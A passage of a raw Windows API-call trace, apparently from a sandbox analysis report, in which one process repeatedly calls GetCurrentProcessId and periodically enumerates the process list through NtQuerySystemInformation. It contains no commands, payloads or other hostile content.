[0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.532] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.533] GetCurrentProcessId () returned 0x10c0 [0278.534] GetCurrentProcessId () returned 0x10c0 [0278.534] GetCurrentProcessId () returned 0x10c0 [0278.534] GetCurrentProcessId () returned 0x10c0 [0278.534] GetCurrentProcessId () returned 0x10c0 [0278.534] GetCurrentProcessId () returned 0x10c0 [0278.534] GetCurrentProcessId () returned 0x10c0 [0278.534] GetCurrentProcessId () returned 0x10c0 [0278.534] GetCurrentProcessId () returned 0x10c0 [0278.534] GetCurrentProcessId () returned 0x10c0 [0278.534] GetCurrentProcessId () returned 0x10c0 [0278.534] GetCurrentProcessId () returned 0x10c0 [0278.534] GetCurrentProcessId () returned 0x10c0 [0278.534] GetCurrentProcessId () returned 0x10c0 [0278.534] GetCurrentProcessId () returned 0x10c0 [0278.534] GetCurrentProcessId () returned 0x10c0 [0279.043] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1de48) returned 0x0 [0279.050] GetCurrentProcessId () returned 0x10c0 [0279.050] GetCurrentProcessId () returned 0x10c0 [0279.050] GetCurrentProcessId () returned 0x10c0 [0279.050] GetCurrentProcessId () returned 0x10c0 [0279.050] GetCurrentProcessId () returned 0x10c0 [0279.050] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.051] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.052] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.053] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.054] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.055] GetCurrentProcessId () returned 0x10c0 [0279.564] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1de48) returned 0x0 [0279.566] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.567] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.568] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.569] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.570] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.571] GetCurrentProcessId () returned 0x10c0 [0279.572] GetCurrentProcessId () returned 0x10c0 [0279.572] GetCurrentProcessId () returned 0x10c0 [0280.080] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1de98) returned 0x0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.082] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.083] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.084] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.085] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.086] GetCurrentProcessId () returned 0x10c0 [0280.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1de98) returned 0x0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.598] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.599] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.600] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0280.601] GetCurrentProcessId () returned 0x10c0 [0281.111] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1df38) returned 0x0 [0281.113] GetCurrentProcessId () returned 0x10c0 [0281.113] GetCurrentProcessId () returned 0x10c0 [0281.113] GetCurrentProcessId () returned 0x10c0 [0281.113] GetCurrentProcessId () returned 0x10c0 [0281.113] GetCurrentProcessId () returned 0x10c0 [0281.113] GetCurrentProcessId () returned 0x10c0 [0281.113] GetCurrentProcessId () returned 0x10c0 [0281.113] GetCurrentProcessId () returned 0x10c0 [0281.113] GetCurrentProcessId () returned 0x10c0 [0281.113] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 